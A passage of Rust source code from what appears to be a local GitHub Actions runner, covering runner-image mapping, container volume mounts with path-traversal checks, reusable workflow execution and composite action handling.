3979                .map_err(|e| ExecutionError::Execution(format!("Failed to create dir: {}", e)))?;
3980
3981            // Recursively copy subdirectories with the same gitignore
3982            copy_directory_contents_with_gitignore(&path, &dest_path, gitignore)?;
3983        } else {
3984            std::fs::copy(&path, &dest_path)
3985                .map_err(|e| ExecutionError::Execution(format!("Failed to copy file: {}", e)))?;
3986        }
3987    }
3988
3989    Ok(())
3990}
3991
3992fn get_runner_image(runs_on: &str) -> String {
3993    // Map GitHub runners to Docker images
3994    match runs_on.trim() {
3995        // ubuntu runners - using Ubuntu base images for better compatibility
3996        "ubuntu-latest" => "ubuntu:latest",
3997        "ubuntu-22.04" => "ubuntu:22.04",
3998        "ubuntu-20.04" => "ubuntu:20.04",
3999        "ubuntu-18.04" => "ubuntu:18.04",
4000
4001        // ubuntu runners - medium images (with more tools)
4002        "ubuntu-latest-medium" => "catthehacker/ubuntu:act-latest",
4003        "ubuntu-22.04-medium" => "catthehacker/ubuntu:act-22.04",
4004        "ubuntu-20.04-medium" => "catthehacker/ubuntu:act-20.04",
4005        "ubuntu-18.04-medium" => "catthehacker/ubuntu:act-18.04",
4006
4007        // ubuntu runners - large images (with most tools)
4008        "ubuntu-latest-large" => "catthehacker/ubuntu:full-latest",
4009        "ubuntu-22.04-large" => "catthehacker/ubuntu:full-22.04",
4010        "ubuntu-20.04-large" => "catthehacker/ubuntu:full-20.04",
4011        "ubuntu-18.04-large" => "catthehacker/ubuntu:full-18.04",
4012
4013        // macOS runners - use a standard Rust image for compatibility
4014        "macos-latest" => "rust:latest",
4015        "macos-12" => "rust:latest",    // Monterey equivalent
4016        "macos-11" => "rust:latest",    // Big Sur equivalent
4017        "macos-10.15" => "rust:latest", // Catalina equivalent
4018
4019        // Windows runners - using servercore-based images
4020        "windows-latest" => "mcr.microsoft.com/windows/servercore:ltsc2022",
4021        "windows-2022" => "mcr.microsoft.com/windows/servercore:ltsc2022",
4022        "windows-2019" => "mcr.microsoft.com/windows/servercore:ltsc2019",
4023
4024        // Language-specific runners
4025        "python-latest" => "python:3.11-slim",
4026        "python-3.11" => "python:3.11-slim",
4027        "python-3.10" => "python:3.10-slim",
4028        "python-3.9" => "python:3.9-slim",
4029        "python-3.8" => "python:3.8-slim",
4030
4031        "node-latest" => "node:20-slim",
4032        "node-20" => "node:20-slim",
4033        "node-18" => "node:18-slim",
4034        "node-16" => "node:16-slim",
4035
4036        "java-latest" => "eclipse-temurin:17-jdk",
4037        "java-17" => "eclipse-temurin:17-jdk",
4038        "java-11" => "eclipse-temurin:11-jdk",
4039        "java-8" => "eclipse-temurin:8-jdk",
4040
4041        "go-latest" => "golang:1.21-slim",
4042        "go-1.21" => "golang:1.21-slim",
4043        "go-1.20" => "golang:1.20-slim",
4044        "go-1.19" => "golang:1.19-slim",
4045
4046        "dotnet-latest" => "mcr.microsoft.com/dotnet/sdk:7.0",
4047        "dotnet-7.0" => "mcr.microsoft.com/dotnet/sdk:7.0",
4048        "dotnet-6.0" => "mcr.microsoft.com/dotnet/sdk:6.0",
4049        "dotnet-5.0" => "mcr.microsoft.com/dotnet/sdk:5.0",
4050
4051        // Default case for other runners or custom strings
4052        _ => {
4053            // Check for platform prefixes and provide appropriate images
4054            let runs_on_lower = runs_on.trim().to_lowercase();
4055            if runs_on_lower.starts_with("macos") {
4056                "rust:latest" // Use Rust image for macOS runners
4057            } else if runs_on_lower.starts_with("windows") {
4058                "mcr.microsoft.com/windows/servercore:ltsc2022" // Default Windows image
4059            } else if runs_on_lower.starts_with("python") {
4060                "python:3.11-slim" // Default Python image
4061            } else if runs_on_lower.starts_with("node") {
4062                "node:20-slim" // Default Node.js image
4063            } else if runs_on_lower.starts_with("java") {
4064                "eclipse-temurin:17-jdk" // Default Java image
4065            } else if runs_on_lower.starts_with("go") {
4066                "golang:1.21-slim" // Default Go image
4067            } else if runs_on_lower.starts_with("dotnet") {
4068                "mcr.microsoft.com/dotnet/sdk:7.0" // Default .NET image
4069            } else {
4070                "ubuntu:latest" // Default to Ubuntu for everything else
4071            }
4072        }
4073    }
4074    .to_string()
4075}
4076
4077fn get_runner_image_from_opt(runs_on: &Option<Vec<String>>) -> String {
4078    let default = "ubuntu-latest";
4079    let ro = runs_on
4080        .as_ref()
4081        .and_then(|vec| vec.first())
4082        .map(|s| s.as_str())
4083        .unwrap_or(default);
4084    get_runner_image(ro)
4085}
4086
4087fn get_effective_runner_image(job: &Job) -> String {
4088    if let Some(ref container) = job.container {
4089        if container.image.is_empty() {
4090            wrkflw_logging::warning("container image is empty, falling back to runs-on");
4091            get_runner_image_from_opt(&job.runs_on)
4092        } else {
4093            container.image.clone()
4094        }
4095    } else {
4096        get_runner_image_from_opt(&job.runs_on)
4097    }
4098}
4099
4100/// Owned data returned by [`prepare_step_container_context`].
4101///
4102/// The caller should derive `&[(&Path, &Path)]` and `&[(&str, &str)]` references
4103/// from this struct's fields before passing them to `run_container`.
4104struct StepContainerContext {
4105    owned_volume_paths: Vec<VolumePathPair>,
4106    github_mount: Option<VolumePathPair>,
4107}
4108
4109impl StepContainerContext {
4110    /// Build the final volumes slice by appending all owned mounts after the
4111    /// initial `(working_dir, container_workspace)` pair.
4112    fn build_volumes<'a>(
4113        &'a self,
4114        working_dir: &'a Path,
4115        container_workspace: &'a Path,
4116    ) -> Vec<(&'a Path, &'a Path)> {
4117        let mut volumes: Vec<(&Path, &Path)> = vec![(working_dir, container_workspace)];
4118        if let Some((ref host, ref container)) = self.github_mount {
4119            volumes.push((host.as_path(), container.as_path()));
4120        }
4121        for (host, container) in &self.owned_volume_paths {
4122            volumes.push((host.as_path(), container.as_path()));
4123        }
4124        volumes
4125    }
4126}
4127
4128/// Set up container volumes and remap GitHub env paths for a step execution.
4129///
4130/// This is the common setup shared by `NativeDocker`, `Image`, and `run` step
4131/// execution paths.  Returns owned mount data; the caller uses
4132/// [`StepContainerContext::build_volumes`] to borrow into it.
4133fn prepare_step_container_context(
4134    step_env: &mut HashMap<String, String>,
4135    job_env: &HashMap<String, String>,
4136    container_config: Option<&JobContainer>,
4137) -> StepContainerContext {
4138    let (owned_volume_paths, github_mount) =
4139        prepare_container_mounts(step_env, job_env, container_config);
4140    StepContainerContext {
4141        owned_volume_paths,
4142        github_mount,
4143    }
4144}
4145
4146type VolumePathPair = (PathBuf, PathBuf);
4147
4148/// Prepare container volume mounts and remap GitHub environment file paths for container runtimes.
4149///
4150/// Returns owned volume path pairs that should be appended to the volumes list,
4151/// and mutates `step_env` to remap GITHUB_ENV/GITHUB_OUTPUT/GITHUB_PATH/GITHUB_STEP_SUMMARY
4152/// to container-internal paths when running under Docker/Podman.
4153fn prepare_container_mounts(
4154    step_env: &mut HashMap<String, String>,
4155    job_env: &HashMap<String, String>,
4156    container_config: Option<&JobContainer>,
4157) -> (Vec<VolumePathPair>, Option<VolumePathPair>) {
4158    let container_github_dir = Path::new("/github/workflow");
4159    let is_container_runtime = step_env
4160        .get("WRKFLW_RUNTIME_MODE")
4161        .map(|m| m == "docker" || m == "podman")
4162        .unwrap_or(false);
4163
4164    // Mount GitHub environment files directory and remap paths
4165    let github_mount = if let Some(github_env_path) = job_env.get("GITHUB_ENV") {
4166        if let Some(github_dir) = Path::new(github_env_path).parent() {
4167            if is_container_runtime {
4168                // Remap each GitHub env file path by deriving the filename from the actual
4169                // host path, so the mapping stays correct if environment.rs renames them.
4170                // Only remap keys that actually exist in job_env to avoid phantom paths.
4171                for env_key in &[
4172                    "GITHUB_ENV",
4173                    "GITHUB_OUTPUT",
4174                    "GITHUB_PATH",
4175                    "GITHUB_STEP_SUMMARY",
4176                ] {
4177                    if let Some(host_path) = job_env.get(*env_key) {
4178                        if let Some(filename) = Path::new(host_path).file_name() {
4179                            step_env.insert(
4180                                env_key.to_string(),
4181                                format!("/github/workflow/{}", filename.to_string_lossy()),
4182                            );
4183                        }
4184                    }
4185                }
4186                Some((github_dir.to_path_buf(), container_github_dir.to_path_buf()))
4187            } else {
4188                github_dir
4189                    .parent()
4190                    .map(|p| (p.to_path_buf(), p.to_path_buf()))
4191            }
4192        } else {
4193            None
4194        }
4195    } else {
4196        None
4197    };
4198
4199    // Collect container-defined volumes
4200    // Docker volume syntax: host:container[:options] — splitn(3) handles the optional :ro/:rw
4201    let mut owned_volume_paths: Vec<VolumePathPair> = Vec::new();
4202    if let Some(container_volumes) = container_config.and_then(|c| c.volumes.as_ref()) {
4203        for vol_spec in container_volumes {
4204            if vol_spec.is_empty() {
4205                wrkflw_logging::warning("skipping empty volume spec");
4206                continue;
4207            }
4208            // NOTE: splitn(3, ':') won't correctly handle Windows-style host paths (e.g. C:\data:/container)
4209            let parts: Vec<&str> = vol_spec.splitn(3, ':').collect();
4210            // Check host path for path traversal (only the host component, not the full spec)
4211            let host_path = parts[0];
4212            if std::path::Path::new(host_path)
4213                .components()
4214                .any(|c| matches!(c, std::path::Component::ParentDir))
4215            {
4216                wrkflw_logging::warning(&format!(
4217                    "Skipping volume with path traversal in host path: {}",
4218                    vol_spec
4219                ));
4220                continue;
4221            }
4222            match parts.len() {
4223                3 => {
4224                    if parts[0].is_empty() || parts[1].is_empty() {
4225                        wrkflw_logging::warning(&format!(
4226                            "skipping volume spec with empty host or container path: '{}'",
4227                            vol_spec
4228                        ));
4229                        continue;
4230                    }
4231                    wrkflw_logging::warning(&format!(
4232                        "volume mount option '{}' in '{}' is not yet supported and will be ignored",
4233                        parts[2], vol_spec
4234                    ));
4235                    owned_volume_paths.push((PathBuf::from(parts[0]), PathBuf::from(parts[1])));
4236                }
4237                2 => {
4238                    if parts[0].is_empty() || parts[1].is_empty() {
4239                        wrkflw_logging::warning(&format!(
4240                            "skipping volume spec with empty host or container path: '{}'",
4241                            vol_spec
4242                        ));
4243                        continue;
4244                    }
4245                    owned_volume_paths.push((PathBuf::from(parts[0]), PathBuf::from(parts[1])));
4246                }
4247                _ => {
4248                    // Single path: mount at same location inside container
4249                    let p = PathBuf::from(parts[0]);
4250                    owned_volume_paths.push((p.clone(), p));
4251                }
4252            }
4253        }
4254    }
4255
4256    (owned_volume_paths, github_mount)
4257}
4258
4259/// Log warnings for container fields that are parsed but not yet supported.
4260fn warn_unsupported_container_fields(container: &JobContainer) {
4261    if container.options.is_some() {
4262        wrkflw_logging::warning(
4263            "container 'options' field is not yet supported and will be ignored",
4264        );
4265    }
4266    if container.credentials.is_some() {
4267        wrkflw_logging::warning(
4268            "container 'credentials' field is not yet supported and will be ignored",
4269        );
4270    }
4271    if container.ports.is_some() {
4272        wrkflw_logging::warning(
4273            "container 'ports' field is not yet supported (service containers are not implemented)",
4274        );
4275    }
4276}
4277
4278async fn execute_reusable_workflow_job(
4279    ctx: &JobExecutionContext<'_>,
4280    uses: &str,
4281    with: Option<&HashMap<String, String>>,
4282    secrets: Option<&serde_yaml::Value>,
4283) -> Result<JobResult, ExecutionError> {
4284    wrkflw_logging::info(&format!(
4285        "Executing reusable workflow job '{}' -> {}",
4286        ctx.job_name, uses
4287    ));
4288
4289    // Resolve the called workflow file path
4290    enum UsesRef<'a> {
4291        LocalPath(&'a str),
4292        Remote {
4293            owner: String,
4294            repo: String,
4295            path: String,
4296            r#ref: String,
4297        },
4298    }
4299
4300    let uses_ref = if uses.starts_with("./") || uses.starts_with('/') {
4301        UsesRef::LocalPath(uses)
4302    } else {
4303        // Expect format owner/repo/path/to/workflow.yml@ref
4304        let parts: Vec<&str> = uses.split('@').collect();
4305        if parts.len() != 2 {
4306            return Err(ExecutionError::Execution(format!(
4307                "Invalid reusable workflow reference: {}",
4308                uses
4309            )));
4310        }
4311        let left = parts[0];
4312        let r#ref = parts[1].to_string();
4313        let mut segs = left.splitn(3, '/');
4314        let owner = segs.next().unwrap_or("").to_string();
4315        let repo = segs.next().unwrap_or("").to_string();
4316        let path = segs.next().unwrap_or("").to_string();
4317        if owner.is_empty() || repo.is_empty() || path.is_empty() {
4318            return Err(ExecutionError::Execution(format!(
4319                "Invalid reusable workflow reference: {}",
4320                uses
4321            )));
4322        }
4323        UsesRef::Remote {
4324            owner,
4325            repo,
4326            path,
4327            r#ref,
4328        }
4329    };
4330
4331    // Load workflow file
4332    let workflow_path = match uses_ref {
4333        UsesRef::LocalPath(p) => {
4334            // Resolve relative to current directory
4335            let current_dir = std::env::current_dir().map_err(|e| {
4336                ExecutionError::Execution(format!("Failed to get current dir: {}", e))
4337            })?;
4338            let path = current_dir.join(p);
4339            if !path.exists() {
4340                return Err(ExecutionError::Execution(format!(
4341                    "Reusable workflow not found at path: {}",
4342                    path.display()
4343                )));
4344            }
4345            // Validate the resolved path stays within the repository root
4346            // to prevent path traversal via `uses: /etc/some-file` or `uses: ../../escape`.
4347            if let Ok(canonical) = path.canonicalize() {
4348                if let Ok(canonical_cwd) = current_dir.canonicalize() {
4349                    if !canonical.starts_with(&canonical_cwd) {
4350                        return Err(ExecutionError::Execution(format!(
4351                            "Reusable workflow path '{}' escapes the repository root",
4352                            p
4353                        )));
4354                    }
4355                }
4356            }
4357            path
4358        }
4359        UsesRef::Remote {
4360            owner,
4361            repo,
4362            path,
4363            r#ref,
4364        } => {
4365            // Clone minimal repository and checkout ref
4366            let tempdir = tempfile::tempdir().map_err(|e| {
4367                ExecutionError::Execution(format!("Failed to create temp dir: {}", e))
4368            })?;
4369            let repo_url = format!("https://github.com/{}/{}.git", owner, repo);
4370
4371            // Clone into a subdirectory within tempdir to get clean structure
4372            let repo_dir = tempdir.path().join("cloned_repo");
4373
4374            shallow_clone(&repo_url, &r#ref, &repo_dir).await?;
4375            let joined = repo_dir.join(path);
4376
4377            if !joined.exists() {
4378                return Err(ExecutionError::Execution(format!(
4379                    "Reusable workflow file not found in repo: {}",
4380                    joined.display()
4381                )));
4382            }
4383
4384            // Parse called workflow while keeping tempdir alive
4385            let called = parse_workflow(&joined)?;
4386
4387            return run_called_workflow(ctx, &called, uses, with, secrets, &joined).await;
4388        }
4389    };
4390
4391    // Parse called workflow (for local paths)
4392    let called = parse_workflow(&workflow_path)?;
4393
4394    run_called_workflow(ctx, &called, uses, with, secrets, &workflow_path).await
4395}
4396
4397/// Shared logic for executing a parsed reusable workflow: builds child env,
4398/// propagates secrets, runs batches, and aggregates results into a single `JobResult`.
4399async fn run_called_workflow(
4400    ctx: &JobExecutionContext<'_>,
4401    called: &WorkflowDefinition,
4402    uses: &str,
4403    with: Option<&HashMap<String, String>>,
4404    secrets: Option<&serde_yaml::Value>,
4405    workflow_path: &Path,
4406) -> Result<JobResult, ExecutionError> {
4407    // Create child env context
4408    let mut child_env = ctx.env_context.clone();
4409    if let Some(with_map) = with {
4410        for (k, v) in with_map {
4411            child_env.insert(format!("INPUT_{}", k.to_uppercase()), v.clone());
4412        }
4413    }
4414    if let Some(secrets_val) = secrets {
4415        if secrets_val.as_str() == Some("inherit") {
4416            // Propagate all parent secrets to the child workflow
4417            for (name, value) in ctx.services.secrets_context {
4418                child_env.insert(format!("SECRET_{}", name.to_uppercase()), value.clone());
4419            }
4420        } else if let Some(map) = secrets_val.as_mapping() {
4421            for (k, v) in map {
4422                if let (Some(key), Some(value)) = (k.as_str(), v.as_str()) {
4423                    child_env.insert(format!("SECRET_{}", key.to_uppercase()), value.to_string());
4424                }
4425            }
4426        }
4427    }
4428
4429    // Execute called workflow, reusing parent's secret manager, masker,
4430    // artifact/cache stores so that `secrets.*` expressions and shared
4431    // stores work inside the called workflow.
4432    let plan = dependency::resolve_dependencies(called)?;
4433    let mut all_results = Vec::new();
4434    let mut any_failed = false;
4435    let mut reusable_job_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
4436    let mut reusable_job_results: HashMap<String, String> = HashMap::new();
4437    // Reusable workflows have their own scope — parent workflow.env doesn't
4438    // flow in, and the called workflow's own workflow.env isn't currently
4439    // being merged into child_env (pre-existing gap). Pass an empty user_env
4440    // for now; job-level env merges still populate it correctly downstream.
4441    let child_user_env: HashMap<String, String> = HashMap::new();
4442    for batch in plan {
4443        let results = execute_job_batch(
4444            &batch,
4445            called,
4446            ctx.runtime,
4447            &child_env,
4448            &child_user_env,
4449            ctx.verbose,
4450            ctx.services.secret_manager,
4451            ctx.services.secret_masker,
4452            &reusable_job_outputs,
4453            &reusable_job_results,
4454            ctx.services.artifact_store,
4455            ctx.services.cache_store,
4456        )
4457        .await?;
4458        for r in &results {
4459            if r.status == JobStatus::Failure {
4460                any_failed = true;
4461            }
4462            reusable_job_results.insert(r.canonical_name.clone(), r.status.to_string());
4463            reusable_job_outputs.insert(r.canonical_name.clone(), r.outputs.clone());
4464        }
4465        all_results.extend(results);
4466    }
4467
4468    // Summarize into a single JobResult
4469    let mut logs = String::new();
4470    logs.push_str(&format!("Called workflow: {}\n", workflow_path.display()));
4471    for r in &all_results {
4472        logs.push_str(&format!("- {}: {:?}\n", r.name, r.status));
4473    }
4474
4475    // Represent as one summary step for UI
4476    let summary_step = StepResult::new(
4477        format!("Run reusable workflow: {}", uses),
4478        if any_failed {
4479            StepStatus::Failure
4480        } else {
4481            StepStatus::Success
4482        },
4483        logs.clone(),
4484    );
4485
4486    // Aggregate outputs from all jobs in the called workflow
4487    let outputs = aggregate_reusable_workflow_outputs(&reusable_job_outputs);
4488
4489    Ok(JobResult {
4490        name: ctx.job_name.to_string(),
4491        canonical_name: ctx.job_name.to_string(),
4492        status: if any_failed {
4493            JobStatus::Failure
4494        } else {
4495            JobStatus::Success
4496        },
4497        steps: vec![summary_step],
4498        logs,
4499        outputs,
4500    })
4501}
4502
4503/// Merge per-job outputs from a reusable workflow into a flat map.
4504///
4505/// In GitHub Actions, reusable workflow outputs are declared via
4506/// `on.workflow_call.outputs` which maps output names to job output
4507/// expressions. Since we don't parse that declaration yet, we use a
4508/// pragmatic approximation: flatten all job outputs into a single map.
4509/// Jobs are iterated in sorted order by name for deterministic merging;
4510/// later jobs (alphabetically) overwrite earlier jobs if keys collide.
4511fn aggregate_reusable_workflow_outputs(
4512    job_outputs: &HashMap<String, HashMap<String, String>>,
4513) -> HashMap<String, String> {
4514    let mut merged = HashMap::new();
4515    // Sort by job name for deterministic output when keys collide
4516    let mut sorted_jobs: Vec<_> = job_outputs.iter().collect();
4517    sorted_jobs.sort_by(|a, b| a.0.cmp(b.0));
4518    for (job_name, outputs) in sorted_jobs {
4519        for (key, value) in outputs {
4520            if !value.is_empty() {
4521                if let Some(prev) = merged.insert(key.clone(), value.clone()) {
4522                    if prev != *value {
4523                        wrkflw_logging::warning(&format!(
4524                            "Reusable workflow output key '{}' from job '{}' overwrites \
4525                             a different value set by an earlier job",
4526                            key, job_name
4527                        ));
4528                    }
4529                }
4530            }
4531        }
4532    }
4533    merged
4534}
4535
4536#[allow(dead_code)]
4537async fn prepare_runner_image(
4538    image: &str,
4539    runtime: &dyn ContainerRuntime,
4540    verbose: bool,
4541) -> Result<(), ExecutionError> {
4542    // Try to pull the image first
4543    if let Err(e) = runtime.pull_image(image).await {
4544        wrkflw_logging::warning(&format!("Failed to pull image {}: {}", image, e));
4545    }
4546
4547    // Check if this is a language-specific runner
4548    let language_info = extract_language_info(image);
4549    if let Some((language, version)) = language_info {
4550        // Try to prepare a language-specific environment
4551        if let Ok(custom_image) = runtime
4552            .prepare_language_environment(language, version, None)
4553            .await
4554            .map_err(|e| ExecutionError::Runtime(e.to_string()))
4555        {
4556            if verbose {
4557                wrkflw_logging::info(&format!("Using customized image: {}", custom_image));
4558            }
4559            return Ok(());
4560        }
4561    }
4562
4563    Ok(())
4564}
4565
4566#[allow(dead_code)]
4567fn extract_language_info(image: &str) -> Option<(&'static str, Option<&str>)> {
4568    let image_lower = image.to_lowercase();
4569
4570    // Check for language-specific images
4571    if image_lower.starts_with("python:") {
4572        Some(("python", Some(&image[7..])))
4573    } else if image_lower.starts_with("node:") {
4574        Some(("node", Some(&image[5..])))
4575    } else if image_lower.starts_with("eclipse-temurin:") {
4576        Some(("java", Some(&image[15..])))
4577    } else if image_lower.starts_with("golang:") {
4578        Some(("go", Some(&image[6..])))
4579    } else if image_lower.starts_with("mcr.microsoft.com/dotnet/sdk:") {
4580        Some(("dotnet", Some(&image[29..])))
4581    } else if image_lower.starts_with("rust:") {
4582        Some(("rust", Some(&image[5..])))
4583    } else {
4584        None
4585    }
4586}
4587
4588#[allow(clippy::too_many_arguments)]
4589async fn execute_composite_action(
4590    step: &workflow::Step,
4591    action_path: &Path,
4592    job_env: &HashMap<String, String>,
4593    job_user_env: &HashMap<String, String>,
4594    working_dir: &Path,
4595    runtime: &dyn ContainerRuntime,
4596    runner_image: &str,
4597    verbose: bool,
4598    services: &JobServices<'_>,
4599    pending_cache_saves: &std::sync::Mutex<Vec<PendingCacheSave>>,
4600) -> Result<StepResult, ExecutionError> {
4601    // Find the action definition file
4602    let action_yaml = action_path.join("action.yml");
4603    let action_yaml_alt = action_path.join("action.yaml");
4604
4605    let action_file = if action_yaml.exists() {
4606        action_yaml
4607    } else if action_yaml_alt.exists() {
4608        action_yaml_alt
4609    } else {
4610        return Err(ExecutionError::Execution(format!(
4611            "No action.yml or action.yaml found in {}",
4612            action_path.display()
4613        )));
4614    };
4615
4616    // Parse the composite action definition
4617    let action_content = fs::read_to_string(&action_file)
4618        .map_err(|e| ExecutionError::Execution(format!("Failed to read action file: {}", e)))?;
4619
4620    let action_def: serde_yaml::Value = serde_yaml::from_str(&action_content)
4621        .map_err(|e| ExecutionError::Execution(format!("Invalid action YAML: {}", e)))?;
4622
4623    // Check if it's a composite action
4624    match action_def.get("runs").and_then(|v| v.get("using")) {
4625        Some(serde_yaml::Value::String(using)) if using == "composite" => {
4626            // Get the steps
4627            let steps = match action_def.get("runs").and_then(|v| v.get("steps")) {
4628                Some(serde_yaml::Value::Sequence(steps)) => steps,
4629                _ => {
4630                    return Err(ExecutionError::Execution(
4631                        "Composite action is missing steps".to_string(),
4632                    ))
4633                }
4634            };
4635
4636            // Process inputs from the calling step's 'with' parameters.
4637            // `action_env` is the full lookup map; `action_user_env` mirrors
4638            // the user-declared slice. INPUT_* vars are runner-internal — they
4639            // go into action_env only, not action_user_env.
4640            let mut action_env = job_env.clone();
4641            let mut action_user_env = job_user_env.clone();
4642            if let Some(inputs_def) = action_def.get("inputs") {
4643                if let Some(inputs_map) = inputs_def.as_mapping() {
4644                    for (input_name, input_def) in inputs_map {
4645                        if let Some(input_name_str) = input_name.as_str() {
4646                            // Get default value if available
4647                            let default_value = input_def
4648                                .get("default")
4649                                .and_then(|v| v.as_str())
4650                                .unwrap_or("");
4651
4652                            // Check if the input was provided in the 'with' section
4653                            let input_value = step
4654                                .with
4655                                .as_ref()
4656                                .and_then(|with| with.get(input_name_str))
4657                                .unwrap_or(&default_value.to_string())
4658                                .clone();
4659
4660                            // Add to environment as INPUT_X
4661                            action_env.insert(
4662                                format!("INPUT_{}", input_name_str.to_uppercase()),
4663                                input_value,
4664                            );
4665                        }
4666                    }
4667                }
4668            }
4669
4670            // Execute each step, tracking outputs, statuses, and env changes between steps
4671            let mut step_outputs = Vec::new();
4672            let mut composite_step_outputs: HashMap<String, HashMap<String, String>> =
4673                HashMap::new();
4674            let mut composite_step_statuses: HashMap<String, (String, String)> = HashMap::new();
4675            let mut composite_job_status = "success".to_string();
4676            for (idx, step_def) in steps.iter().enumerate() {
4677                // Convert the YAML step to our Step struct
4678                let composite_step = match convert_yaml_to_step(step_def) {
4679                    Ok(step) => step,
4680                    Err(e) => {
4681                        return Err(ExecutionError::Execution(format!(
4682                            "Failed to process composite action step {}: {}",
4683                            idx + 1,
4684                            e
4685                        )))
4686                    }
4687                };
4688
4689                // Execute the step - using Box::pin to handle async recursion
4690                let step_result = Box::pin(execute_step(StepExecutionContext {
4691                    step: &composite_step,
4692                    step_idx: idx,
4693                    job_env: &action_env,
4694                    job_user_env: &action_user_env,
4695                    working_dir,
4696                    runtime,
4697                    workflow: &workflow::WorkflowDefinition {
4698                        name: "Composite Action".to_string(),
4699                        on: vec![],
4700                        on_raw: serde_yaml::Value::Null,
4701                        jobs: HashMap::new(),
4702                        defaults: None,
4703                        env: HashMap::new(),
4704                    },
4705                    runner_image,
4706                    verbose,
4707                    matrix_combination: &None,
4708                    container_config: None, // Composite actions don't use job containers
4709                    workflow_defaults: None,
4710                    job_defaults: None,
4711                    step_outputs: &composite_step_outputs,
4712                    step_statuses: &composite_step_statuses,
4713                    job_status: &composite_job_status,
4714                    services: JobServices {
4715                        secret_manager: services.secret_manager,
4716                        secret_masker: services.secret_masker,
4717                        secrets_context: services.secrets_context,
4718                        needs_context: services.needs_context,
4719                        needs_results: services.needs_results,
4720                        artifact_store: services.artifact_store,
4721                        cache_store: services.cache_store,
4722                    },
4723                    pending_cache_saves,
4724                }))
4725                .await?;
4726
4727                // Track step status within composite scope
4728                record_step_status(
4729                    composite_step.id.as_deref(),
4730                    &step_result,
4731                    &mut composite_step_statuses,
4732                    &mut composite_job_status,
4733                );
4734
4735                // Parse deprecated ::set-output:: and other workflow commands from stdout
4736                process_workflow_commands(
4737                    &step_result.output,
4738                    composite_step.id.as_deref(),
4739                    &mut composite_step_outputs,
4740                    services.secret_masker,
4741                );
4742
4743                // Add output to results
4744                step_outputs.push(format!("Step {}: {}", idx + 1, step_result.output));
4745
4746                // Read back GITHUB_OUTPUT/GITHUB_ENV/GITHUB_PATH so subsequent
4747                // composite steps can reference ${{ steps.<id>.outputs.<key> }}
4748                // and see environment changes from prior steps. $GITHUB_ENV
4749                // writes mirror into action_user_env so composite toJSON(env)
4750                // sees them.
4751                crate::github_env_files::apply_step_environment_updates(
4752                    &mut action_env,
4753                    &mut action_user_env,
4754                    &mut composite_step_outputs,
4755                    composite_step.id.as_deref(),
4756                );
4757
4758                // Short-circuit on failure if needed
4759                if step_result.status == StepStatus::Failure {
4760                    // Still propagate whatever outputs were collected before the failure
4761                    propagate_composite_outputs(
4762                        &action_def,
4763                        &composite_step_outputs,
4764                        &action_env,
4765                        &action_user_env,
4766                        job_env,
4767                        working_dir,
4768                        &composite_job_status,
4769                    );
4770                    return Ok(StepResult::new(
4771                        step.name
4772                            .clone()
4773                            .unwrap_or_else(|| "Composite Action".to_string()),
4774                        StepStatus::Failure,
4775                        step_outputs.join("\n"),
4776                    ));
4777                }
4778            }
4779
4780            // Propagate composite action outputs to the caller's GITHUB_OUTPUT
4781            propagate_composite_outputs(
4782                &action_def,
4783                &composite_step_outputs,
4784                &action_env,
4785                &action_user_env,
4786                job_env,
4787                working_dir,
4788                &composite_job_status,
4789            );
4790
4791            // All steps completed successfully
4792            let output = if verbose {
4793                let mut detailed_output = format!(
4794                    "Executed composite action from: {}\n\n",
4795                    action_path.display()
4796                );
4797
4798                // Add information about the composite action if available
4799                if let Ok(action_content) =
4800                    serde_yaml::from_str::<serde_yaml::Value>(&action_content)
4801                {
4802                    if let Some(name) = action_content.get("name").and_then(|v| v.as_str()) {
4803                        detailed_output.push_str(&format!("Action name: {}\n", name));
4804                    }
4805
4806                    if let Some(description) =
4807                        action_content.get("description").and_then(|v| v.as_str())
4808                    {
4809                        detailed_output.push_str(&format!("Description: {}\n", description));
4810                    }
4811
4812                    detailed_output.push('\n');
4813                }
4814
4815                // Add individual step outputs
4816                detailed_output.push_str("Step outputs:\n");
4817                for output in &step_outputs {
4818                    detailed_output.push_str(&format!("{}\n", output));
4819                }
4820
4821                detailed_output
4822            } else {
4823                format!(
4824                    "Executed composite action with {} steps",
4825                    step_outputs.len()
4826                )
4827            };
4828
4829            Ok(StepResult::new(
4830                step.name
4831                    .clone()
4832                    .unwrap_or_else(|| "Composite Action".to_string()),
4833                StepStatus::Success,
4834                output,
4835            ))
4836        }
4837        _ => Err(ExecutionError::Execution(
4838            "Action is not a composite action or has invalid format".to_string(),
4839        )),
4840    }
4841}
4842
4843/// Evaluate a composite action's `outputs:` section and write the resolved values
4844/// to the caller's GITHUB_OUTPUT file so `${{ steps.<id>.outputs.<key> }}` works.
4845fn propagate_composite_outputs(
4846    action_def: &serde_yaml::Value,
4847    composite_step_outputs: &HashMap<String, HashMap<String, String>>,
4848    action_env: &HashMap<String, String>,
4849    action_user_env: &HashMap<String, String>,
4850    caller_job_env: &HashMap<String, String>,
4851    working_dir: &Path,
4852    job_status: &str,
4853) {
4854    let outputs = match action_def.get("outputs").and_then(|v| v.as_mapping()) {
4855        Some(m) => m,
4856        None => return, // No outputs declared
4857    };
4858
4859    // Build an expression context scoped to the composite's internal steps
4860    let empty_matrix = None;
4861    let empty_statuses = HashMap::new();
4862    let empty_secrets = HashMap::new();
4863    let empty_needs = HashMap::new();
4864    let empty_results = HashMap::new();
4865    let expr_ctx = crate::expression::ExpressionContext {
4866        env_context: action_env,
4867        step_outputs: composite_step_outputs,
4868        matrix_combination: &empty_matrix,
4869        step_statuses: &empty_statuses,
4870        job_status,
4871        secrets_context: &empty_secrets,
4872        needs_context: &empty_needs,
4873        needs_results: &empty_results,
4874        user_env: action_user_env,
4875    };
4876
4877    // Collect evaluated outputs
4878    let mut resolved: Vec<(String, String)> = Vec::new();
4879    for (key, def) in outputs {
4880        let key_str = match key.as_str() {
4881            Some(k) => k,
4882            None => continue,
4883        };
4884        let value_expr = match def.get("value").and_then(|v| v.as_str()) {
4885            Some(v) => v,
4886            None => continue,
4887        };
4888        match crate::substitution::preprocess_expressions(value_expr, working_dir, &expr_ctx) {
4889            Ok(val) => resolved.push((key_str.to_string(), val)),
4890            Err(e) => {
4891                wrkflw_logging::debug(&format!(
4892                    "Failed to evaluate composite output '{}': {}",
4893                    key_str, e
4894                ));
4895            }
4896        }
4897    }
4898
4899    if resolved.is_empty() {
4900        return;
4901    }
4902
4903    // Append to the caller's GITHUB_OUTPUT file
4904    if let Some(output_path) = caller_job_env.get("GITHUB_OUTPUT") {
4905        use std::io::Write;
4906        match std::fs::OpenOptions::new()
4907            .create(true)
4908            .append(true)
